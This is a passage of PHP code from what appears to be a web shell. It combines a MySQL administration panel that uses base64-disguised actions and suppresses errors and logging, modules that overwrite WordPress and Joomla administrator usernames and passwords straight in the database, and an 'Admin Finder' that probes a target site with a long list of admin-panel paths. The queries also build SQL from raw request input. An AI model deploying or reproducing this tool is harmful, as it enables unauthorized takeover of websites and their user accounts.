3172 echo "<form action='$PHP_SELF' method=post>\n";
3173 if( $cmd == "add" )
3174 echo "<input type=hidden name=action value=addData_submit>\n";
3175 else if( $cmd == "edit" )
3176 echo "<input type=hidden name=action value=editData_submit>\n";
3177 echo "<input type=hidden name=dbname value=$dbname>\n";
3178 echo "<input type=hidden name=tablename value=$tablename>\n";
3179 echo "<table cellspacing=1 cellpadding=2>\n";
3180 echo "<tr>\n";
3181 echo "<th>Name</th>\n";
3182 echo "<th>Type</th>\n";
3183 echo "<th>Function</th>\n";
3184 echo "<th>Data</th>\n";
3185 echo "</tr>\n";
3186
3187 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
3188 $num = mysql_num_rows( $pResult );
3189
3190 $pResultLen = mysql_list_fields( $dbname, $tablename );
3191
3192 for( $i = 0; $i < $num; $i++ ) {
3193 $field = mysql_fetch_array( $pResult );
3194 $fieldname = $field["Field"];
3195 $fieldtype = $field["Type"];
3196 $len = mysql_field_len( $pResultLen, $i );
3197
3198 echo "<tr>";
3199 echo "<td>$fieldname</td>";
3200 echo "<td>".$field["Type"]."</td>";
3201 echo "<td>\n";
3202 echo "<select name=${fieldname}_function>\n";
3203 echo "<option>\n";
3204 echo "<option>ASCII\n";
3205 echo "<option>CHAR\n";
3206 echo "<option>SOUNDEX\n";
3207 echo "<option>CURDATE\n";
3208 echo "<option>CURTIME\n";
3209 echo "<option>FROM_DAYS\n";
3210 echo "<option>FROM_UNIXTIME\n";
3211 echo "<option>NOW\n";
3212 echo "<option>PASSWORD\n";
3213 echo "<option>PERIOD_ADD\n";
3214 echo "<option>PERIOD_DIFF\n";
3215 echo "<option>TO_DAYS\n";
3216 echo "<option>USER\n";
3217 echo "<option>WEEKDAY\n";
3218 echo "<option>RAND\n";
3219 echo "</select>\n";
3220 echo "</td>\n";
3221 $value = htmlspecialchars($data[$i]);
3222 if( $cmd == "add" ) {
3223 $type = strtok( $fieldtype, " (,)\n" );
3224 if( $type == "enum" || $type == "set" ) {
3225 echo "<td>\n";
3226 if( $type == "enum" )
3227 echo "<select name=$fieldname>\n";
3228 else if( $type == "set" )
3229 echo "<select name=$fieldname size=4 multiple>\n";
3230 while( $str = strtok( "'" ) ) {
3231 echo "<option>$str\n";
3232 strtok( "'" );
3233 }
3234 echo "</select>\n";
3235 echo "</td>\n";
3236 } else {
3237 if( $len < 40 )
3238 echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
3239 else
3240 echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
3241 }
3242 } else if( $cmd == "edit" ) {
3243 $type = strtok( $fieldtype, " (,)\n" );
3244 if( $type == "enum" || $type == "set" ) {
3245 echo "<td>\n";
3246 if( $type == "enum" )
3247 echo "<select name=$fieldname>\n";
3248 else if( $type == "set" )
3249 echo "<select name=$fieldname size=4 multiple>\n";
3250 while( $str = strtok( "'" ) ) {
3251 if( $value == $str )
3252 echo "<option selected>$str\n";
3253 else
3254 echo "<option>$str\n";
3255 strtok( "'" );
3256 }
3257 echo "</select>\n";
3258 echo "</td>\n";
3259 } else {
3260 if( $len < 40 )
3261 echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
3262 else
3263 echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
3264 }
3265 }
3266 echo "</tr>";
3267 }
3268 echo "</table><p>\n";
3269 if( $cmd == "add" )
3270 echo "<input type=submit value='Add Data'>\n";
3271 else if( $cmd == "edit" )
3272 echo "<input type=submit value='Edit Data'>\n";
3273 echo "<input type=button value='Cancel' onClick='history.back()'>\n";
3274 echo "</form>\n";
3275}
3276
3277function manageData_submit( $cmd ) {
3278 global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
3279
3280 $pResult = mysql_list_fields( $dbname, $tablename );
3281 $num = mysql_num_fields( $pResult );
3282
3283 mysql_select_db( $dbname, $mysqlHandle );
3284 if( $cmd == "add" )
3285 $queryStr = "INSERT INTO $tablename VALUES (";
3286 else if( $cmd == "edit" )
3287 $queryStr = "REPLACE INTO $tablename VALUES (";
3288 for( $i = 0; $i < $num-1; $i++ ) {
3289 $field = mysql_fetch_field( $pResult );
3290 $func = $GLOBALS[$field->name."_function"];
3291 if( $func != "" )
3292 $queryStr .= " $func(";
3293 if( $field->numeric == 1 ) {
3294 $queryStr .= $GLOBALS[$field->name];
3295 if( $func != "" )
3296 $queryStr .= "),";
3297 else
3298 $queryStr .= ",";
3299 } else {
3300 $queryStr .= "'" . $GLOBALS[$field->name];
3301 if( $func != "" )
3302 $queryStr .= "'),";
3303 else
3304 $queryStr .= "',";
3305 }
3306 }
3307 $field = mysql_fetch_field( $pResult );
3308 if( $field->numeric == 1 )
3309 $queryStr .= $GLOBALS[$field->name] . ")";
3310 else
3311 $queryStr .= "'" . $GLOBALS[$field->name] . "')";
3312
3313 mysql_query( $queryStr , $mysqlHandle );
3314 $errMsg = mysql_error();
3315
3316 viewData( "" );
3317}
3318
3319function deleteData() {
3320 global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
3321
3322 $pResult = mysql_list_fields( $dbname, $tablename );
3323 $num = mysql_num_fields( $pResult );
3324
3325 $key = "";
3326 for( $i = 0; $i < $num; $i++ ) {
3327 $field = mysql_fetch_field( $pResult, $i );
3328 if( $field->primary_key == 1 )
3329 if( $field->numeric == 1 )
3330 $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
3331 else
3332 $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
3333 }
3334 $key = substr( $key, 0, strlen($key)-4 );
3335
3336 mysql_select_db( $dbname, $mysqlHandle );
3337 $queryStr = "DELETE FROM $tablename WHERE $key";
3338 mysql_query( $queryStr, $mysqlHandle );
3339 $errMsg = mysql_error();
3340
3341 viewData( "" );
3342}
3343
3344function fetch_table_dump_sql($table)
3345{
3346 global $mysqlHandle,$dbname;
3347
3348 mysql_select_db( $dbname, $mysqlHandle );
3349 $query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
3350 $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
3351 $tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";
3352
3353 echo $tabledump;
3354
3355 // get data
3356 $rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
3357 $numfields=mysql_num_fields($rows);
3358 while ($row = mysql_fetch_array($rows, MYSQL_NUM))
3359 {
3360 $tabledump = "INSERT INTO $table VALUES(";
3361
3362 $fieldcounter = -1;
3363 $firstfield = 1;
3364 // get each field's data
3365 while (++$fieldcounter < $numfields)
3366 {
3367 if (!$firstfield)
3368 {
3369 $tabledump .= ', ';
3370 }
3371 else
3372 {
3373 $firstfield = 0;
3374 }
3375
3376 if (!isset($row["$fieldcounter"]))
3377 {
3378 $tabledump .= 'NULL';
3379 }
3380 else
3381 {
3382 $tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
3383 }
3384 }
3385
3386 $tabledump .= ");\n";
3387
3388 echo $tabledump;
3389
3390 }
3391 @mysql_free_result($rows);
3392}
3393
3394function dump() {
3395 global $mysqlHandle, $action, $dbname, $tablename;
3396
3397 if( $action == "dumpTable" ){
3398
3399 header("Content-disposition: filename=$tablename.sql");
3400 header('Content-type: unknown/unknown');
3401 fetch_table_dump_sql($tablename);
3402 echo "\n\n\n";
3403 echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
3404 exit;
3405
3406 }else{
3407 header("Content-disposition: filename=$dbname.sql");
3408 header('Content-type: unknown/unknown');
3409
3410 mysql_select_db( $dbname, $mysqlHandle );
3411 $query_id = mysql_query("SHOW tables",$mysqlHandle);
3412 while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
3413 {
3414 fetch_table_dump_sql($row[0]);
3415 echo "\n\n\n";
3416 echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
3417 echo "\n\n\n";
3418 }
3419 echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
3420 exit;
3421
3422 }
3423
3424}
3425
3426function utils() {
3427 global $PHP_SELF, $command;
3428 echo "<h1>Utilities</h1>\n";
3429 if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
3430 echo "<hr>\n";
3431 echo "Show\n";
3432 echo "<ul>\n";
3433 echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
3434 echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
3435 echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
3436 echo "</ul>\n";
3437 echo "Flush\n";
3438 echo "<ul>\n";
3439 echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
3440 if( $command == "flush_hosts" ) {
3441 if( mysql_query( "Flush hosts" ) != false )
3442 echo "- Success";
3443 else
3444 echo "- Fail";
3445 }
3446 echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
3447 if( $command == "flush_logs" ) {
3448 if( mysql_query( "Flush logs" ) != false )
3449 echo "- Success";
3450 else
3451 echo "- Fail";
3452 }
3453 echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
3454 if( $command == "flush_privileges" ) {
3455 if( mysql_query( "Flush privileges" ) != false )
3456 echo "- Success";
3457 else
3458 echo "- Fail";
3459 }
3460 echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
3461 if( $command == "flush_tables" ) {
3462 if( mysql_query( "Flush tables" ) != false )
3463 echo "- Success";
3464 else
3465 echo "- Fail";
3466 }
3467 echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
3468 if( $command == "flush_status" ) {
3469 if( mysql_query( "Flush status" ) != false )
3470 echo "- Success";
3471 else
3472 echo "- Fail";
3473 }
3474 echo "</ul>\n";
3475 } else {
3476 $queryStr = ereg_replace( "_", " ", $command );
3477 $pResult = mysql_query( $queryStr );
3478 if( $pResult == false ) {
3479 echo "Fail";
3480 return;
3481 }
3482 $col = mysql_num_fields( $pResult );
3483
3484 echo "<p class=location>$queryStr</p>\n";
3485 echo "<hr>\n";
3486
3487 echo "<table cellspacing=1 cellpadding=2 border=0>\n";
3488 echo "<tr>\n";
3489 for( $i = 0; $i < $col; $i++ ) {
3490 $field = mysql_fetch_field( $pResult, $i );
3491 echo "<th>".$field->name."</th>\n";
3492 }
3493 echo "</tr>\n";
3494
3495 while( 1 ) {
3496 $rowArray = mysql_fetch_row( $pResult );
3497 if( $rowArray == false ) break;
3498 echo "<tr>\n";
3499 for( $j = 0; $j < $col; $j++ )
3500 echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
3501 echo "</tr>\n";
3502 }
3503 echo "</table>\n";
3504 }
3505}
3506
3507
3508
3509function footer_html() {
3510 global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
3511
3512 echo "<hr>\n";
3513 echo "[$USERNAME] - \n";
3514
3515 echo "<a href='$PHP_SELF?action=bGlzdERCcw=='>Database List</a> | \n";
3516 if( $tablename != "" )
3517 echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
3518 echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
3519 echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
3520
3521
3522}
3523
3524
3525
3526
3527//------------- MAIN ------------- //
3528error_reporting(0);
3529ini_set ('display_errors', 0);
3530ini_set ('log_errors', 0);
3531
3532if( $action == "logon" || $action == "" || $action == "logout" )
3533 logon();
3534else if( $action == "bG9nb25fc3VibWl0" )
3535 logon_submit();
3536else if( $action == "dumpTable" || $action == "dumpDB" ) {
3537 while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
3538 if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
3539 if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
3540 if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
3541 }
3542 $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
3543 dump();
3544} else {
3545 while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
3546 if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
3547 if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
3548 if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
3549 }
3550 echo "<!--";
3551 $mysqlHandle = @mysql_connect( $HOSTNAME.":3306", $USERNAME, $PASSWORD );
3552 echo "-->";
3553
3554 if( $mysqlHandle == false ) {
3555
3556
3557 echo "<table width=100% height=100%><tr><td><center>\n";
3558 echo "<h1>Wrong Password!</h1>\n";
3559 echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
3560 echo "</center></td></tr></table>\n";
3561
3562 } else {
3563
3564 if( $action == "bGlzdERCcw==" )
3565 listDatabases();
3566 else if( $action == "createDB" )
3567 createDatabase();
3568 else if( $action == "dropDB" )
3569 dropDatabase();
3570 else if( $action == "listTables" )
3571 listTables();
3572 else if( $action == "createTable" )
3573 createTable();
3574 else if( $action == "dropTable" )
3575 dropTable();
3576 else if( $action == "viewSchema" )
3577 viewSchema();
3578 else if( $action == "query" )
3579 viewData( $queryStr );
3580 else if( $action == "addField" )
3581 manageField( "add" );
3582 else if( $action == "addField_submit" )
3583 manageField_submit( "add" );
3584 else if( $action == "editField" )
3585 manageField( "edit" );
3586 else if( $action == "editField_submit" )
3587 manageField_submit( "edit" );
3588 else if( $action == "dropField" )
3589 dropField();
3590 else if( $action == "dmlld0RhdGE=" )
3591 viewData( "" );
3592 else if( $action == "addData" )
3593 manageData( "add" );
3594 else if( $action == "addData_submit" )
3595 manageData_submit( "add" );
3596 else if( $action == "editData" )
3597 manageData( "edit" );
3598 else if( $action == "editData_submit" )
3599 manageData_submit( "edit" );
3600 else if( $action == "deleteData" )
3601 deleteData();
3602 else if( $action == "utils" )
3603 utils();
3604
3605 mysql_close( $mysqlHandle);
3606 footer_html();
3607 }
3608}
3609}
3610
3611///////////////////////////////////////////////////////////////////////////
3612elseif(isset($_GET['x']) && ($_GET['x'] == 'wp-reset'))
3613{
3614?>
3615<form action="?y=<?php echo $pwd; ?>&x=wp-reset" method="post">
3616
3617<?php
3618
3619echo "<center/><br/><b><font color=#00ff00>+--==[ Wordpress Reset Password ]==--+</font></b><br><br>";
3620
3621 if(empty($_POST['pwd'])){
3622
3623echo "<FORM method='POST'>
3624<table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td> Hostname</td><td>
3625<input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
3626<input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td> username</td><td>
3627<input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td> password</td><td>
3628<input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
3629<tr><td> User baru</td><td>
3630<input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
3631 <tr><td> Pass Baru</td><td>
3632<input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />
3633
3634<input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
3635</td></tr> </table><br><br><br><br>
3636";
3637}else{
3638$localhost = $_POST['localhost'];
3639$database = $_POST['database'];
3640$username = $_POST['username'];
3641$password = $_POST['password'];
3642$pwd = $_POST['pwd'];
3643$admin = $_POST['admin'];
3644
3645
3646 @mysql_connect($localhost,$username,$password) or die(mysql_error());
3647 @mysql_select_db($database) or die(mysql_error());
3648
3649$hash = crypt($pwd);
3650$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
3651$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
3652$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
3653$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
3654$a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
3655$a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
3656$a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
3657
3658
3659if($a4s){
3660echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
3661}
3662
3663}
3664
3665
3666 echo "
3667 </div>"; }
3668
3669elseif(isset($_GET['x']) && ($_GET['x'] == 'jm-reset'))
3670{
3671?>
3672<form action="?y=<?php echo $pwd; ?>&x=jm-reset" method="post">
3673
3674<?php
3675
3676echo "<center/><br/><b><font color=#00ff00>+--==[ Joomla Reset Password ]==--+</font></b><br><br>";
3677 if(empty($_POST['pwd'])){
3678echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td> Host</td><td>
3679<input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td> Database</td><td>
3680<input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td> username</td><td>
3681<input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td> password</td><td>
3682<input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
3683<tr><td> User baru</td><td>
3684<input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
3685 <tr><td> pass baru </td><td>123456 =
3686<input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />
3687
3688<input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
3689</td></tr> </table><br><br><br><br>
3690";
3691}else{
3692$localhost = $_POST['localhost'];
3693$database = $_POST['database'];
3694$username = $_POST['username'];
3695$password = $_POST['password'];
3696$pwd = $_POST['pwd'];
3697$admin = $_POST['admin'];
3698@mysql_connect($localhost,$username,$password) or die(mysql_error());
3699@mysql_select_db($database) or die(mysql_error());
3700$hash = crypt($pwd);
3701$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
3702$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
3703$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
3704$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
3705$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
3706$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
3707$SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
3708$SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
3709if($SQL){
3710echo "<b>Success : skarang password barunya >>> - (123456)";
3711}
3712}
3713
3714 echo "
3715 </div>";
3716}
3717//////////////////////////////////////////////////////////////////////////////
3718
3719elseif(isset($_GET['x']) && ($_GET['x'] == 'adfin'))
3720{
3721?>
3722<form action="?y=<?php echo $pwd; ?>&x=adfin" method="post">
3723
3724<?php
3725set_time_limit(0);
3726error_reporting(0);
3727$list['front'] ="admin
3728adm
3729admincp
3730admcp
3731cp
3732modcp
3733moderatorcp
3734adminare
3735admins
3736cpanel
3737controlpanel";
3738$list['end'] = "admin1.php
3739admin1.html
3740admin2.php
3741admin2.html
3742yonetim.php
3743yonetim.html
3744yonetici.php
3745yonetici.html
3746ccms/
3747ccms/login.php
3748ccms/index.php
3749maintenance/
3750webmaster/
3751adm/
3752configuration/
3753configure/
3754websvn/
3755admin/
3756admin/account.php
3757admin/account.html
3758admin/index.php
3759admin/index.html
3760admin/login.php
3761admin/login.html
3762admin/home.php
3763admin/controlpanel.html
3764admin/controlpanel.php
3765admin.php
3766admin.html
3767admin/cp.php
3768admin/cp.html
3769cp.php
3770cp.html
3771administrator/
3772administrator/index.html
3773administrator/index.php
3774administrator/login.html
3775administrator/login.php
3776administrator/account.html
3777administrator/account.php
3778administrator.php
3779administrator.html
3780login.php
3781login.html
3782modelsearch/login.php
3783moderator.php
3784moderator.html
3785moderator/login.php
3786moderator/login.html
3787moderator/admin.php
3788moderator/admin.html
3789moderator/
3790account.php
3791account.html
3792controlpanel/
3793controlpanel.php
3794controlpanel.html
3795admincontrol.php
3796admincontrol.html
3797adminpanel.php
3798adminpanel.html
3799admin1.asp
3800admin2.asp
3801yonetim.asp
3802yonetici.asp
3803admin/account.asp
3804admin/index.asp
3805admin/login.asp
3806admin/home.asp
3807admin/controlpanel.asp
3808admin.asp
3809admin/cp.asp
3810cp.asp
3811administrator/index.asp
3812administrator/login.asp
3813administrator/account.asp
3814administrator.asp
3815login.asp
3816modelsearch/login.asp
3817moderator.asp
3818moderator/login.asp
3819moderator/admin.asp
3820account.asp
3821controlpanel.asp
3822admincontrol.asp
3823adminpanel.asp
3824fileadmin/
3825fileadmin.php
3826fileadmin.asp
3827fileadmin.html
3828administration/
3829administration.php
3830administration.html
3831sysadmin.php
3832sysadmin.html
3833phpmyadmin/
3834myadmin/
3835sysadmin.asp
3836sysadmin/
3837ur-admin.asp
3838ur-admin.php
3839ur-admin.html
3840ur-admin/
3841Server.php
3842Server.html
3843Server.asp
3844Server/
3845wp-admin/
3846administr8.php
3847administr8.html
3848administr8/
3849administr8.asp
3850webadmin/
3851webadmin.php
3852webadmin.asp
3853webadmin.html
3854administratie/
3855admins/
3856admins.php
3857admins.asp
3858admins.html
3859administrivia/
3860Database_Administration/
3861WebAdmin/
3862useradmin/
3863sysadmins/
3864admin1/
3865system-administration/
3866administrators/
3867pgadmin/
3868directadmin/
3869staradmin/
3870ServerAdministrator/
3871SysAdmin/
3872administer/
3873LiveUser_Admin/
3874sys-admin/
3875typo3/
3876panel/
3877cpanel/
3878cPanel/
3879cpanel_file/
3880platz_login/
3881rcLogin/
3882blogindex/
3883formslogin/
3884autologin/
3885support_login/
3886meta_login/
3887manuallogin/
3888simpleLogin/
3889loginflat/
3890utility_login/
3891showlogin/
3892memlogin/
3893members/
3894login-redirect/
3895sub-login/
3896wp-login/
3897login1/
3898dir-login/
3899login_db/
3900xlogin/
3901smblogin/
3902customer_login/
3903UserLogin/
3904login-us/
3905acct_login/
3906admin_area/
3907bigadmin/
3908project-admins/
3909phppgadmin/
3910pureadmin/
3911sql-admin/
3912radmind/
3913openvpnadmin/
3914wizmysqladmin/
3915vadmind/
3916ezsqliteadmin/
3917hpwebjetadmin/
3918newsadmin/
3919adminpro/
3920Lotus_Domino_Admin/
3921bbadmin/
3922vmailadmin/
3923Indy_admin/
3924ccp14admin/
3925irc-macadmin/
3926banneradmin/
3927sshadmin/
3928phpldapadmin/
3929macadmin/
3930administratoraccounts/
3931admin4_account/
3932admin4_colon/
3933radmind-1/
3934Super-Admin/
3935AdminTools/
3936cmsadmin/
3937SysAdmin2/
3938globes_admin/
3939cadmins/
3940phpSQLiteAdmin/
3941navSiteAdmin/
3942server_admin_small/
3943logo_sysadmin/
3944server/
3945database_administration/
3946power_user/
3947system_administration/
3948ss_vms_admin_sm/
3949adminarea/
3950bb-admin/
3951adminLogin/
3952panel-administracion/
3953instadmin/
3954memberadmin/
3955administratorlogin/
3956admin/admin.php
3957admin_area/admin.php
3958admin_area/login.php
3959siteadmin/login.php
3960siteadmin/index.php
3961siteadmin/login.html
3962admin/admin.html
3963admin_area/index.php
3964bb-admin/index.php
3965bb-admin/login.php
3966bb-admin/admin.php
3967admin_area/login.html
3968admin_area/index.html
3969admincp/index.asp
3970admincp/login.asp
3971admincp/index.html
3972webadmin/index.html
3973webadmin/admin.html
3974webadmin/login.html
3975admin/admin_login.html
3976admin_login.html
3977panel-administracion/login.html
3978nsw/admin/login.php
3979webadmin/login.php
3980admin/admin_login.php
3981admin_login.php
3982admin_area/admin.html
3983pages/admin/admin-login.php
3984admin/admin-login.php
3985admin-login.php
3986bb-admin/index.html
3987bb-admin/login.html
3988bb-admin/admin.html
3989admin/home.html
3990pages/admin/admin-login.html
3991admin/admin-login.html
3992admin-login.html
3993admin/adminLogin.html
3994adminLogin.html
3995home.html
3996rcjakar/admin/login.php
3997adminarea/index.html
3998adminarea/admin.html
3999webadmin/index.php
4000webadmin/admin.php
4001user.html
4002modelsearch/login.html
4003adminarea/login.html
4004panel-administracion/index.html
4005panel-administracion/admin.html
4006modelsearch/index.html
4007modelsearch/admin.html
4008admincontrol/login.html
4009adm/index.html
4010adm.html
4011user.php
4012panel-administracion/login.php
4013wp-login.php
4014adminLogin.php
4015admin/adminLogin.php
4016home.php
4017adminarea/index.php
4018adminarea/admin.php
4019adminarea/login.php
4020panel-administracion/index.php
4021panel-administracion/admin.php
4022modelsearch/index.php
4023modelsearch/admin.php
4024admincontrol/login.php
4025adm/admloginuser.php
4026admloginuser.php
4027admin2/login.php
4028admin2/index.php
4029adm/index.php
4030adm.php
4031affiliate.php
4032adm_auth.php
4033memberadmin.php
4034administratorlogin.php
4035admin/admin.asp
4036admin_area/admin.asp
4037admin_area/login.asp
4038admin_area/index.asp
4039bb-admin/index.asp
4040bb-admin/login.asp
4041bb-admin/admin.asp
4042pages/admin/admin-login.asp
4043admin/admin-login.asp
4044admin-login.asp
4045user.asp
4046webadmin/index.asp
4047webadmin/admin.asp
4048webadmin/login.asp
4049admin/admin_login.asp
4050admin_login.asp
4051panel-administracion/login.asp
4052adminLogin.asp
4053admin/adminLogin.asp
4054home.asp
4055adminarea/index.asp
4056adminarea/admin.asp
4057adminarea/login.asp
4058panel-administracion/index.asp
4059panel-administracion/admin.asp
4060modelsearch/index.asp
4061modelsearch/admin.asp
4062admincontrol/login.asp
4063adm/admloginuser.asp
4064admloginuser.asp
4065admin2/login.asp
4066admin2/index.asp
4067adm/index.asp
4068adm.asp
4069affiliate.asp
4070adm_auth.asp
4071memberadmin.asp
4072administratorlogin.asp
4073siteadmin/login.asp
4074siteadmin/index.asp
4075ADMIN/
4076paneldecontrol/
4077login/
4078cms/
4079admon/
4080ADMON/
4081administrador/
4082ADMIN/login.php
4083panelc/
4084ADMIN/login.html";
4085function template() {
4086echo '
4087
4088<script type="text/javascript">
4089<!--
4090function insertcode($text, $place, $replace)
4091{
4092 var $this = $text;
4093 var logbox = document.getElementById($place);
4094 if($replace == 0)
4095 document.getElementById($place).innerHTML = logbox.innerHTML+$this;
4096 else
4097 document.getElementById($place).innerHTML = $this;
4098//document.getElementById("helpbox").innerHTML = $this;
4099}
4100-->
4101</script>
4102<br>
4103<br>
4104<h1 class="technique-two">
4105
4106
4107
4108</h1>
4109
4110<div class="wrapper">
4111<div class="red">
4112<div class="tube">
4113<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
4114<form action="" method="post" name="xploit_form">
4115
4116<tr>
4117<tr>
4118 <b><td>URL</td>
4119 <td><input class="inputz" type="text" name="xploit_url" value="'.$_POST['xploit_url'].'" style="width: 350px;" />
4120 </td>
4121</tr><tr>
4122 <td>404 string</td>
4123 <td><input class="inputz" type="text" name="xploit_404string" value="'.$_POST['xploit_404string'].'" style="width: 350px;" />
4124 </td></b>
4125</tr><br><td>
4126<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
4127</span></td></tr>
4128</form></td></tr>
4129<br /></table>
4130</div> <!-- /tube -->
4131</div> <!-- /red -->
4132<br />
4133<div class="green">
4134<div class="tube" id="rightcol">
4135Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
4136<b>Found ones:<br /></b>
4137</div> <!-- /tube -->
4138</div></center><!-- /green -->
4139<br clear="all" /><br />
4140<div class="blue">
4141<div class="tube" id="logbox">
4142<br />
4143<br />
4144Admin page Finder :<br /><br />
4145</div> <!-- /tube -->
4146</div> <!-- /blue -->
4147</div> <!-- /wrapper -->
4148<br clear="all"><br>';
4149}
4150function show($msg, $br=1, $stop=0, $place='logbox', $replace=0) {
4151 if($br == 1) $msg .= "<br />";
4152 echo "<script type=\"text/javascript\">insertcode('".$msg."', '".$place."', '".$replace."');</script>";
4153 if($stop == 1) exit;
4154 @flush();@ob_flush();
4155}
4156function check($x, $front=0) {
4157 global $_POST,$site,$false;
4158 if($front == 0) $t = $site.$x;
4159 else $t = 'http://'.$x.'.'.$site.'/';
4160 $headers = get_headers($t);
4161 if (!eregi('200', $headers[0])) return 0;
4162 $data = @file_get_contents($t);
4163 if($_POST['xploit_404string'] == "") if($data == $false) return 0;
4164 if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
4165 return 1;
4166}
4167
4168// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4169template();
4170if(!isset($_POST['xploit_url'])) die;
4171if($_POST['xploit_url'] == '') die;
4172$site = $_POST['xploit_url'];
4173if ($site[strlen($site)-1] != "/") $site .= "/";
4174if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
4175$list['end'] = str_replace("\r", "", $list['end']);
4176$list['front'] = str_replace("\r", "", $list['front']);
4177$pathes = explode("\n", $list['end']);
4178$frontpathes = explode("\n", $list['front']);
4179show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
4180$verificate = 0;
4181foreach($pathes as $path) {
